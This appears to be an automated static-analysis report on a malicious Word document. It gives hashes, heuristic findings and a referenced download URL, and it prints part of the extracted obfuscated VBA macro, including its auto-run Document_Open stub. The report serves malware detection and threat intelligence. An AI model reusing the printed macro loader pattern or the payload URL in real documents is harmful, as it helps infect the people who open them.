Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 79446a84c2aec591…

MALICIOUS

Office (OOXML)

165.8 KB Created: 2018-07-17 12:52:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2019-03-10
MD5: 634d6dd99d8a1093ae508b162281f9f0 SHA-1: db064b450fc02b4b47307c1ec08e8856ec03d6d3 SHA-256: 79446a84c2aec591b24fff7f33b83d49297301aea4f353373d1e647995ace1b4
284 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a malicious Office document containing a VBA macro. The macro is obfuscated and uses the Shell() function to execute a command, which likely downloads and executes a second-stage payload. The presence of a Document_Open macro indicates an auto-execution attempt upon opening the document.

Heuristics 8

  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Obfuscated VBA Shell command with URL critical OLE_VBA_OBFUSCATED_SHELL_URL
    VBA macro invokes Shell with command text assembled through decoder or string-manipulation functions and includes a URL. This is a high-confidence downloader/dropper pattern, stronger than Shell or URL evidence on their own.
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://a.doko.moe/mkjeju Referenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2014/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexReferenced by macro
    • http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/inkReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2017/model3dReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2012/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2016/wordml/cidReferenced by macro
    • http://schemas.microsoft.com/office/word/2015/wordml/symexReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
    • http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 25575 bytes
SHA-256: caca803904b1fdd1e071fd1b3d0677e82cc43853bae6aafe04fc905f38ea7173
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 14 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Private Sub Document_Open()

UZPER.K
'sisiqZwtZhgKIJXPwJrKEPsTXS
Dim fruqBXAjDnoniybjRQNXdjjiSkTWcpYK
'gRCfqfnHaUcHWJLdgbDKvPwI
Dim gRCfqfnHaUcHWJLdgbDKvPwI
End Sub





Attribute VB_Name = "UZPER"
Const darlUMpBgeklkmUhJLAnTWAAKaqMncGOLE = 2730
Private Const WLkpHpESwheBfCAdqxREkYdembCfk5306 = 8
Const yEJaoRqCefHXEyAiGhmqqMtvz9650 = 96
Private Const oaHFzZLnGpzDHXgkD = 4
Const zxsiohPbpBUDDCtHymdDcyLSgpowP99610674646480267 = 8
Private Const iGCgnZiXiZsENinoTlxNUedEVUstimKNarj2730 = 46
Const DRtJyjUtslSFfKIqW20 = 4267170
Private Const zPqzmyebBLAxJyCcR86722586699867 = 5893
Const wZgbCUrTGOMloZCRGnu776736 = 20
Private Const vOWqsCUejGXfsjDhJ005893 = 9650
Const jdXjCxKVKZWuomdrlHndqnRtwBKcSqLB = 55750
Private Const tWkMKRvOmFCiQIivZNbeaUBM7448 = 3
Const DEHufTsBrCUeMpShIwwucFBqbVbK7225866 = 85
Private Const LRvirXkalYaXdAWMc = 5
Const zGhiFtooKkvgvcKIDBDdBPGZJK632489809078337554 = 3
Private Const vZVXeHMoUHlKgYGORMXJwRXFRFxCQTJshCw55750 = 46
Const QxXOHRKNEvBGhjfvn7737923 = 504388
Private Const VCTHVcUvYsZNGLZyu847986692117647 = 986763580
Const olGXkSwWpIrzlQzEaAZ64802 = 7737923
Private Const naCnffAFVBAMBEFNG986763580 = 7225866
Const XzNoEThPKroksNGFlvxNonpuKdxXMwuxsyyol = 97
Private Const xOzotcLBdQLCVTo4464 = 8
Const ZSVCeoFNnbOlnPBuUO0 = 59
Private Const ZizGJdIHXzuSCSFyd = 1
Const ZNOORiHtDtZHegPHelFF304949864121554152 = 8
Private Const kNzKrWOhbchWuRyMcbKVJIlBR97 = 73
Const JbEhlhvEejnHGCnwc09832 = 49
Private Const mWiechxFWzNQTFayt932536831573109354 = 427
Const NHNwpQwZYPTkItkiOEc02726107 = 9832
Private Const kZBxPgViinOfFMymF427 = 0
Const oGtRseIZdobcQyIoNPbWBGSLZTdjCzmFEvPhFiU = 8389102
Private Const bFzzMYeiuAkHjMDOUAyYwFJovQEn1021 = 4
Const DaRiZSLsevBzFgbgrZbJBHWCilW72752 = 25
Private Const uuYnQghzbBQxnNeMM = 6
Const ZzhICqBNSPhRfQREJvyODAFrNatW302600185380803528 = 4
Private Const LEwTrDqaSYJusWqExYqYhIErcddwDOAnvP8389102 = 58
Const LPZzJrrSPVGMoQhKl9866921 = 76
Private Const UCwvgiWOevjIzNAYF4512731716412324 = 72041
Const xcKbhlyNvwSjifXEDcQ867704884 = 9866921
Private Const LLiDWlWdNdhBHHOcQ72041 = 72752
Const xPycNaDIefIYnGrxjzjkBjDPRurDgxUIIOGnEFxwdLMCGZnR = 590759969
Private Const XXKIHxFPmfNTXvHHHEqvNzoOLjKSjzb3690 = 6
Const LTAPwipmtTxVVkrWmjwcGYaYjwwX172 = 18
Private Const IaTiOBziDUklhmXKX = 4
Const lRzGnKSpdnbuYYN6014947831303295 = 6
Private Const ngnDgHEusLYODBtCSsbsofzDzanscf590759969 = 26
Const VgzOlJVxayXcOeoyr15378 = 9620
Private Const WNsvhoMBOKEWETJWK95106243167854827 = 99526477
Const XzmZEDIoyPKJgvxZaCo0148156 = 15378
Private Const ByPyttxuTYFAlxnCc99526477 = 172
Const veBkxrGyBwIRZgzlHpIHjHNxoYhEQxVsSREibDoexdNvKYLJmz = 893
Private Const PcYBiBXqIxFJGfGUzuSkKnQDwYJ3990 = 7
Const hEbPyuRWMGHGjtzP31573109 = 23
Private Const VxSpcUISykCkNCygM = 6
Const MRFHElGAoPaqLsB3557438221 = 7
Private Const fSCywxaaiUbLUEJsVIDWqLLNjHsnLAQo893 = 22
Const vPwBcICjEspdCEVxs7355 = 932536
Private Const dZsQOXENEINMjGhlg9627241709896730 = 540
Const xlTsIWBueMJIDcYWzJC9 = 7355
Private Const aAWDmUzwHHEZCDYAy540 = 31573109
Const uRgrvZXZJIKQDzpAmzSxfmhtbuwRloJBoZJ = 9
Private Const zyYihxedZJBNqFUdmDmFODKdeFNHW9419 = 8
Const mZCEkLViyuRwyPHuUKiWDxztWwovEckW06546 = 51
Private Const xjWdRLWQMmWdgjTwp = 6
Const CYAnpaIhnWaeVJvqQsfjjqZOAsGFE205320437143405 = 8
Private Const iXcLlUJHDEsoSEuVj9 = 29
Const nhzRAQmkOCDONMNnS42634156 = 982
Private Const YkUqxiRSDCAINDell2928426556 = 9
Const HDjNVYYUHijwOEUahMI1 = 42634156
Private Const KHcILVSNTPEhgogxe9 = 6546



Public Sub K()

On Error Resume Next


 
    Dim DuYsSeCpiRxrkatgFLMuxDtGg As TextFrame
    Dim vPXOIngKpdVefvlJvREOoeAzv As Bookmark
    Dim WEidITAsFDYVpKUVMlXJYlLpb As WdExportItem
    Dim uEKKnPFLwKJVhVKMfpubIZYDV As Floor
    Dim WWjKtFnAmsdRUziHfWLkGuQfc As AddIn
... (truncated)
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 71680 bytes
SHA-256: 01e9c4794e039316fc53a40060fe7b5422bad4b02a88942827fd3bddc635d4fe
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 14 long base64-like blob(s).

Open this report in the interactive analyzer, or submit your own file for analysis.